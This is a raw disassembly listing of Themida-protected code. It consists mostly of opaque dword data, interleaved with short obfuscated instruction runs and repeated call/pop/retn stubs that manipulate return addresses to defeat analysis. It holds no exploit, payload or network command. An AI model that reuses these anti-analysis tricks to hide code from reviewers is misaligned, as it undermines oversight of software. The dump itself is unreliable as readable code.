6121BA1h, 8A0FF860h, 5, 13F18166h dd 0BD8361D8h, 6121EB1h, 32840F02h, 81000000h, 0D1C2F4F3h dd 0A5858B39h, 6A061203h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 24CEC351h, 0A427B90Eh dd 0C6AE40h, 5985C700h, 6121Bh, 66000000h db 0BFh, 34h, 4Eh ; --------------------------------------------------------------------------- loc_58D303: ; CODE XREF: Themida_:0058CEE6j ; Themida_:0058CF27j jmp near ptr dword_58C4A4+2C4h ; --------------------------------------------------------------------------- mov ebx, ecx mov eax, ecx push 0 push edx call sub_58D317 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D317 proc near ; CODE XREF: Themida_:0058D30Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_58D317 endp ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- cmp [edi+53362AFCh], ecx mov edi, [ebp+6120661h] pop ebx lea eax, [ebp+6122E01h] mov ebx, [ebp+6120539h] nop push eax mov di, 2743h nop pusha mov esi, ecx jg loc_58D354 movsx edx, cx loc_58D354: ; CODE XREF: Themida_:0058D34Bj popa push 0 mov edi, [ebp+6121309h] mov ebx, [ebp+6121EA5h] push 0 push 0 push ebp call sub_58D370 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D370 proc near ; CODE XREF: Themida_:0058D368p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_58D370 endp ; --------------------------------------------------------------------------- dd 8F71D240h, 8D8CBFC4h, 166B3A85h, 99858906h, 8306122Ah dd 0BD0105C0h, 6122A75h, 13E850h, 0E8290000h, 0FF98F5Ch dd 173B728Fh, 5C15AA6Ch, 32D4162Ah, 5FFC8ABBh, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0E8EFC351h, 0Fh, 0FC4B5718h, 0A562CB46h dd 0D457FBACh, 0BF115DCDh, 15F54E0Ah, 6A006A5Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0E162C351h, 384C4173h, 6AD88Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 79C35646h, 8B514B3Ah, 12036DBDh dd 0B595FF06h, 6A06120Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 47D3C350h, 66E5E222h dd 8DEF15BFh, 15AF028Dh, 0FFDE8A06h, 52006AD1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0AABAC08Eh dd 0CDC0D381h, 83F52F08h, 1207ADBDh, 850F0106h, 0ACh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 96C35747h, 1517FA4Fh dd 28B2AD87h, 860F6035h, 10h, 0BE9h, 95725900h, 43B6D1C5h dd 2458401Eh, 9D9D8B61h, 6A061218h, 52006A02h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0B4D8C74Bh dd 0C1D73059h, 0D3816619h, 66902853h, 50A09CBBh, 3840Fh dd 8B660000h, 6A90DFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 8589BEC3h, 612035Dh, 6A595FFh, 0CB810612h dd 5358BDC4h, 0DE8E9h, 0E800h, 815D0000h, 166B44EDh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 501453Fh, 89BEEB80h, 121E6185h, 37858D06h, 0F9061594h dd 11E890h, 0EEF90000h, 0A3132E4Dh, 8652D54Eh, 5D9B2DD8h dd 0B3B13A9Fh, 0BB505F22h, 29D960E8h, 899D8B90h, 6406120Eh dd 35FFh, 14E90000h, 45000000h, 0CAAF6311h, 37E17E59h dd 9F138A36h, 7EC68850h, 64808230h, 2589h, 95890000h, 6121061h dd 67985FFh, 9D010612h, 6121D59h, 6AFF6Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0CA72AC3h dd 482A763Fh, 95CB8188h, 0FF2D357Fh, 121B85B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 4ED34501h, 0EAF50205h, 30A98589h, 8B660612h, 0B595FFD8h dd 0E906122Ch, 0F0h, 10D9D8Bh, 0B00612h, 8C58589h, 70E60612h dd 0E4F88B66h, 613CF571h, 0D2830Fh, 9D8B0000h, 612231Dh dd 0E9C8B60Fh, 13h, 51CA17B9h, 9E5FD0C3h, 0E1C6D59Ah, 0F8FE606Fh dd 0BA3784C0h, 6, 10A1BD89h, 6E90612h, 99000000h, 0BC8C8CFCh dd 8AC18B2Eh, 4E8C1FDh, 0F7667AB3h, 0DD8D29E2h, 2B061215h dd 7CF381C8h, 8B08934Fh, 0F78166D1h, 1E9D76Ah, 0F9000000h dd 30A1858Bh, 0AEB30612h, 907C083h, 12152585h, 0C08306h dd 1BC9BD89h, 8D890612h, 6122EFDh, 830FD03Bh, 13h, 38C0Fh dd 0E7800000h, 3EE953h, 81660000h, 8B19AEEFh, 12051D8Dh dd 0DF8B6606h, 0F01E183h, 2784h, 799D8B00h, 83061204h dd 12051DA5h, 8952FE06h, 122685B5h, 89F85B06h, 1230A195h dd 0B99D0B06h, 0E9061207h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+615F8B8h] xor [ebp+6121C3Dh], esi push 0 push 0 push eax call sub_58D761 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D761 proc near ; CODE XREF: Themida_:0058D759p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_58D761 endp ; --------------------------------------------------------------------------- mov ebx, 146D78B3h fcompp st, st adc eax, 2B2BB66h call dword ptr [ebp+61219CDh] push 0 push ebp call sub_58D78E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D78E proc near ; CODE XREF: Themida_:0058D786p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_58D78E endp ; --------------------------------------------------------------------------- jbe short loc_58D7FC mov ecx, 752h stc and ecx, 0FFFFFFFCh push 0 push ebp call sub_58D7B4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D7B4 proc near ; CODE XREF: Themida_:0058D7ACp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_58D7B4 endp ; --------------------------------------------------------------------------- dd 99D1BB63h, 0BD8B43F3h, 6120155h, 15BD29FCh, 0B806122Eh dd 0 ; --------------------------------------------------------------------------- movzx ebx, di sub edx, edx push 0 push ebx call sub_58D7EC and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D7EC proc near ; CODE XREF: Themida_:0058D7E4p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_58D7EC endp ; --------------------------------------------------------------------------- loc_58D7FC: ; CODE XREF: Themida_:0058D79Ej dec ebx cmpsb jle loc_58D80A xor [ebp+6120DD1h], esi loc_58D80A: ; CODE XREF: Themida_:0058D7FEj ; Themida_:0058D814j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_58D80A push 0 push esi call sub_58D821 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D821 proc near ; CODE XREF: Themida_:0058D819p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_58D821 endp ; --------------------------------------------------------------------------- db 0A4h, 0F3h, 0E8h dd 0F44C5D76h, 9D29C714h, 6122F11h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0E1C35646h, 0E889CB83h, 81666ABCh dd 0D2D3BCBh, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 95C35343h, 6890Fh, 95890000h, 6121925h dd 9A1958Bh, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 4F9659C3h, 13E9h, 83B61100h, 7A775676h dd 9C0F70B0h, 0AF5C080Fh, 4D15E54Dh, 5058D8Bh, 6A0612h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 9C9F2FC3h, 3CE014BFh, 50BEB273h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0B67AF512h dd 31180226h, 122D9DB5h, 21BD8306h, 61221h, 88840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 9FD14CC3h, 73F0020Eh, 0B8h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0A0D26940h dd 0B1D03522h, 0BD8B4F06h, 612297Dh, 4DB58D8Dh, 6A0612h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 249282C3h, 0E799D8Bh, 9D0B0612h, 61230C1h, 0B357E1FFh dd 0BD835BFCh, 6121BD9h, 17840F00h, 6A000004h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0A658C351h, 6ED36532h, 0CD9D8951h, 8306120Eh, 121BD9BDh dd 840F0106h, 3FDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 59C35343h, 0D9BD83F9h, 306121Bh, 39D860Fh dd 0BD8B0000h, 6120D25h, 55006A60h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0C5254FC7h, 2E88BB21h dd 8C665583h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 27C6862h, 4E18006h, 11E856h, 0A7660000h dd 93189638h, 0D37B163Bh, 0E9E8ACA4h, 23304E84h, 121F519Dh dd 0A5F5B06h, 36840FC9h, 66000001h, 0BD2BF381h, 308D858Bh dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0F1E716C3h, 80E1E874h, 816684CBh, 336DC9CBh dd 12316585h, 4895006h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0CB39ED64h, 39444B1Fh dd 0FE9C61Ch, 0A5000000h, 0E2E5C804h, 69855C3Eh, 0B776E22Dh dd 6ABF02h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 51C35747h, 0F58D894Eh, 0E906121Ah, 0Ch, 5AE35895h dd 9CB096C0h, 86B150DEh, 3EC3EF68h, 81FA8B0Ah, 0C0102434h dd 0B5890A21h, 6121E95h, 237995FFh, 6A0612h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0F229C8C3h dd 440122F4h, 0FA8B200Fh, 0BE8h, 0FD526200h, 41E7E68Eh dd 36ED7B78h, 311D9D29h, 895B0612h, 15C81285h, 0DFBF0F06h dd 167E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0BB9DA4Dh, 8BE33AE1h, 0A858BFAh dd 660615C8h, 0C7BE2CBBh, 1800h, 0A9BD8B00h, 8B061206h dd 15C80EB5h, 82BB6606h, 0B9858B2Eh, 6A06122Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 50C5C351h, 0B8359A7Eh, 8920F9E6h, 120A0D9Dh, 71B52906h dd 89061229h, 81A2B706h, 29AFDEEFh, 8D858B37h, 1061230h dd 12065DBDh, 4468906h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 8CC35646h, 68BEE922h, 67EA69C8h, 8973B350h dd 9D8B2434h, 61217BDh, 0C80AB5FFh, 6A0615h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 940634C3h dd 1FBF320Bh, 665AFE89h, 2F95D781h, 0C047E168h, 2FB3BFCCh dd 4816A98h, 5EBC1E24h, 0B8666033h, 8D61DCE3h, 15C81285h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0C4A54AE9h, 0DE91Dh, 0C5E80000h, 374CC6F6h dd 0A472BBBh, 50677CBBh, 0DE9h, 0E1F16A00h, 0DFC69BA0h dd 313C3E42h, 489E3E9h, 0DAB70F24h, 237995FFh, 0C7810612h dd 73213E43h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 8984321Fh, 1223298Dh, 0D985C706h dd 306121Bh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0E94AC357h, 12h, 0A5FB6A5Ah dd 0F129392Bh, 1458D0E6h, 0F4E4E2DBh, 9D8B716Ch, 6122FFDh dd 0C812BD83h, 0F000615h, 3684h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0A4797562h dd 17D9BD8Bh, 0E7810612h, 14E843A8h, 21E9h, 0FDB58900h dd 5006122Eh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0DA85EFC3h, 89F61E81h, 0BBFB8B6Dh dd 719B4929h, 1BD9BD83h, 0F030612h, 4B685h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 75CBBF19h, 0BE464968h, 7DBD89AFh, 83061229h, 15C812BDh dd 840F0006h, 47Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 4C35141h, 0E97873C2h, 0Dh, 0D3E49FC7h dd 57077DFFh, 5E20280h, 12B5FF6Eh, 660615C8h, 744DE781h dd 1AA995FFh, 8A0F0612h, 0Ch, 68C0Fh, 9D890000h, 61208ADh dd 0C806B58Bh, 0D88B0615h, 106C7h, 0F98B0001h, 11E85096h dd 0A2000000h, 13059908h, 26600740h, 0EA511304h, 0C989CAFFh dd 0DA8B6657h, 89965F5Bh, 1209CDB5h, 12B5FF06h, 0FF0615C8h dd 121C0595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 2776D22Fh, 660037DBh, 8B8CB8BFh dd 15C806B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 63CB4D0Dh, 0AE7ABDE9h, 8BDF8BB1h dd 1201A585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0BD8B95CFh, 6123155h, 0C48689h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 77B6ADC3h, 0F4509BDAh, 8118F5C8h, 0BC78C9F3h, 0C59D0961h dd 8B061211h, 1209A195h, 0EB816606h, 0BF0FBB66h, 4C283DAh dd 0D74BE3BFh, 11E842h, 412C0000h, 6491CA57h, 0AE2369A3h dd 4CE839B8h, 0F1F4411h, 895BF9BFh, 6A2050h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8A47ABC3h dd 0F99356CAh, 4DB589CBh dd 89061201h, 122FE59Dh, 6F858D06h, 6A0615DCh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 14B2C355h, 385E1235h, 0D4589097h, 0A8FF381h, 86894C73h dd 0B8h, 5E9h, 77253100h, 6AD003h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0C8C35141h, 8E2FBEC6h, 113DE840h dd 0EE9CBh, 8E840000h, 1BB9CA0Fh, 66194D1Bh, 3546DE1Ah dd 0C812B5FFh, 7E80615h, 31000000h, 87B83CF7h, 0FF5BEF16h dd 1206A595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0A3AA0AF4h, 8ACFFAD7h, 525096F8h dd 0FFB8B66h, 66525031h, 310FF98Bh, 585A6160h, 0E950585Ah dd 13h, 66BD3D1Ch, 0F9CA4FE6h, 0F132DA3Ch, 0DA8485D9h dd 96784AEAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0A9C35646h, 830FEAE7h, 6, 2A21B589h, 0B5FF0612h dd 615C812h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0BAC35040h, 0BD8B5CBCh, 6121A31h, 28195FFh, 24BF0612h dd 834A20B2h, 122A09BDh, 840F0006h, 37h, 7CA3CF81h, 66505ED2h dd 3489D98Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 84EFAE10h, 94197B84h, 0A1BD8BA4h dd 0FF06120Ch, 15C812B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0BC7C42E5h dd 0AE9F63Eh, 0C1BD898Dh, 0FF061210h, 1218C195h, 0D9D8906h dd 0FF061231h, 15C812B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 6651938Eh dd 7E3BEB81h, 1BA195FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 1449D6C3h, 347A839Ah dd 8D9D8B60h, 50061205h, 835BFA8Bh, 121EB1BDh, 840F0206h dd 7Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h dd 11C35141h, 0DE8B0BCAh, 69DB589h, 858B0612h, 61203A5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A7C35343h dd 4063D40Dh, 0E943CF37h, 7, 0F0035780h, 0C69DE22Ah, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0C73388C3h, 121B5985h, 6, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0DD21C14Fh dd 0E9F8632Eh, 0FFFFF2D8h, 8BD88B66h, 53006AC1h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 8B66D38Ch, 1858DD9h, 0F06122Eh, 384h, 0FABF0F00h, 24048950h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0ACC35747h dd 6FE55FBDh, 6A5063E4h, 98D78100h, 6A17E4D9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 5260A7A0h, 0AE9h, 7E54B400h, 790802B6h, 58F8CDB1h, 8E0Fh dd 9610000h, 12000D85h, 45853106h, 8D061229h, 167B2185h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 5C083CAh, 5AEF8166h, 8E0F50D5h, 5, 1498E4BFh dd 2404894Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0A4C35242h, 5E96F615h, 0BF664394h, 6AB93Bh, 6AD88Ah dd 9529FB8Bh, 61203E9h, 0DB595FFh, 83B70612h, 0AF028D8Dh dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0AFEA61C3h, 70A636EBh, 0C3816665h, 0D1FF55BCh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 53C35040h dd 81660EFCh, 8354BBDFh, 1207ADBDh, 850F0106h, 0A3h, 0DE9h dd 8AC30300h, 0DADB2C7Eh, 0E0493A07h, 26AEEDBh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0CBC35141h, 0C245B67Bh dd 18E0FEAh, 0F8000000h, 0E9525050h, 11h, 0C8CE1F28h, 98A9FF9Fh dd 623A265Eh, 5F17B47Eh, 5A310F9Fh, 24048958h, 10E8h, 11679D00h dd 4ECF8CADh, 84F5BC49h, 0AFEC00CAh, 95FF5B1Dh, 61206A5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DDC35646h dd 0BD9CA592h, 4E2349CFh, 559D0B55h, 0E9061220h, 0DF2h dd 0E8h, 0ED815D00h, 6167B2Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0D6C35343h, 0D88B6673h, 8DFFB70Fh dd 15943785h, 6090F806h, 0CDD6B860h, 0E86134B4h, 0Ah, 0B85F5A70h dd 5132FAD0h, 0CE9585Bh, 39000000h, 7180FCEDh, 0C69C38CDh dd 5F1BBE1Ah, 8E95061h, 7E000000h, 6F55F49Bh, 90575014h dd 5DC012BFh, 35FF646Dh, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_58E5C3 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58E5C3 proc near ; CODE XREF: Themida_:0058E5BBp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_58E5C3 endp ; --------------------------------------------------------------------------- db 0E9h dd 0DA4B75E4h, 2C2DBD8Bh, 89640612h, 25h, 0E1850900h, 0FF061217h dd 12067985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 834E294Ch, 0E9A51E0Eh, 6, 11D53796h dd 0BD89E293h, 6121019h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 5A4D42C3h, 1E336F8Ah dd 1AB19D8Bh, 0B5FF0612h, 6121FC9h, 0D1CB8166h, 0B595FF50h dd 0E906122Ch, 115h, 0EE9h, 0B7743600h, 43E44F20h, 1DBBF144h dd 0B01D2306h, 0ADBD8900h, 0E6061222h, 7D9D8B70h, 306121Fh dd 121FB59Dh, 6671E406h, 3C802CBBh, 0DE830F61h, 60000000h dd 1CCD9D89h, 8E80612h, 0D5000000h, 2C8FE935h, 17D935Ah dd 12095D85h, 0F615E06h, 0BF66C8B6h, 6BA51C1h, 8B000000h dd 3C18BDAh, 121C89BDh, 4E8C106h, 8BDF8166h, 3152512Fh dd 1221299Dh, 665B5B06h, 8166E2F7h, 2BA1C5E7h, 6880FC8h dd 0F000000h, 8Eh, 66D18B00h, 4006EB81h, 6E9h, 0C0F78100h dd 8B026EA0h, 122A3585h, 23BF6606h, 7C0830Bh, 0EFD9D8Bh dd 0C0830612h, 0FD03B00h, 1083h, 4D9D8900h, 0E9061200h dd 49h, 0D38166h, 0B18D8BA0h, 0E806121Ch, 0Dh, 8507CB41h dd 60A79EE2h, 0DFF07E86h, 0F99D0B4Ch, 5B061210h, 0F01E183h dd 1C84h, 0F1BB6600h, 0B1A583D9h, 0FE06121Ch, 359589F5h dd 6606122Ah, 0C91FCF81h, 0E9h, 7CB58D00h, 50061601h, 6A5FBAB3h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0F8FC4383h, 19CD95FFh, 11E90612h, 0EC000000h dd 0F52700CBh, 0FBEA757Dh, 71A5F925h, 0C5078B78h, 993B9h dd 0DF815700h, 52147172h, 3D9D315Bh, 83061207h, 6AFCE1h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 8DCB97C3h, 5DCE9A61h, 9BD8914h, 0E906120Eh, 0Eh, 5502A500h dd 94C60EDh, 156A1499h, 6AFC4D9Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 13DFC355h dd 264B5182h, 0B6FEF64Dh, 6AC02Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 4F4DC9C3h, 504BDB2Bh dd 0BAC784h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0D7BFC353h, 231420F6h dd 0F971D46Bh, 8D01D88Bh, 61211E9h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 80C35545h, 0E2C20D1Dh, 3CB07645h, 5E8h, 0DF8A100h dd 0CB807C6Fh, 0BD8B5F4Fh, 6121321h, 880Fh, 880D0000h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 12CCC353h, 5E8AA3AFh, 0BD89AC20h dd 61220BDh, 9A1958Bh, 9D230612h, 6120DA5h, 5058D8Bh, 6A0612h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 8B5015C3h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0AE9h, 7EF57E00h, 4A0E5765h, 0BB7A0A24h, 4448151Dh dd 2121BD83h, 0F000612h, 4684h, 0B800h, 8B520000h, 8D8D5FF8h dd 6124DB5h, 35D9D8Bh, 81660612h, 0FFE1CCE7h, 52006AE1h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 33FCC626h, 91DFAB15h, 0D58589A7h, 83061221h, 121BD9BDh dd 840F0006h, 4EEh, 9299D89h, 0E9500612h, 13h, 0D4E54244h dd 8C7DA2DBh, 0D39A04BFh, 0F16C7455h, 5B0E27F3h, 1BD9BD83h dd 0F010612h, 4DC84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 830FA87Fh, 6, 6D59D8Bh dd 0BD830612h, 6121BD9h, 70860F03h, 0F000004h, 188Ah, 13E900h dd 74B00000h, 88FE7059h, 5664FE34h, 998094C5h, 0BAC1860Dh dd 6A60B1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 6CAAADC3h, 0BB52F5CFh, 668FD2A2h, 0D98C665Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6BC35646h dd 6116B1C0h, 80008F8Dh, 6A04E1h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0FD9285C3h, 28A0F4Eh dd 0E94C9794h, 10h, 7CC47EF2h, 0F4A230DEh, 17F9C712h, 9583EB0Ah dd 0ADBBF0Fh, 52840FC9h, 6A000001h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8BBDC353h dd 12308D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 1024C83Dh, 0BF0755FCh, 0DF8B71E9h dd 31658533h, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 18F9AEC3h, 0C6D21F5Ch, 50D8BF0Fh dd 0F610D6BBh, 2404890Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0DFC35141h, 7398C45Ah, 556AD4CEh, 19559529h dd 6A0612h, 26B5BD89h, 0BD010612h, 61208DDh, 0EC815668h dd 0E9605161h, 11h, 0BC59B84Eh, 0F76AAEE5h, 3ED6BEAFh dd 81564868h, 61585142h, 2434815Bh, 61F382A9h, 18E59589h dd 95FF0612h, 6122379h, 28619D8Bh, 85890612h, 6120E3Dh dd 0C8128589h, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 64958BC3h, 3CDA0E67h, 48D0Fh, 0BB660000h dd 0EEE9B55Fh, 6A000001h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0C4A6C351h, 293F66E4h dd 1200AD85h, 0A858B06h, 0C70615C8h, 1800h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 84DBC60Fh, 0B58BF960h, 615C80Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0F6C35646h, 0B521A966h, 6E9EFh dd 0C6460000h, 0A18F149Ch, 2AB9858Bh, 6A0612h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0F279FBC3h, 5D886DA4h, 0BD8BD3FEh, 61210A5h, 2A99BD03h dd 6890612h, 0A082E781h, 858B17ABh, 612308Dh, 0E3D9D8Bh dd 46890612h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 59783F6Eh, 3B37CCFCh, 8953B350h dd 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 931896C3h, 0FFFFB70Fh, 15C80AB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0B551044Ch, 0A2CCBF66h, 4E8h, 1F03FF00h, 8E900h, 0BAD70000h dd 0D9A4AE77h, 0E850BCB2h, 5, 0A402FA40h, 448B5B3Dh, 6FBF0424h dd 8B12F671h, 0BE800h, 0CA4F0000h, 32DA3CF9h, 8485D9F1h dd 44895BDAh, 0E9600424h, 9, 0AA706551h, 6461EF31h, 0CE8B3h dd 0F7E50000h, 0B292F890h, 37A02DE7h, 615E7EAFh, 52006A58h 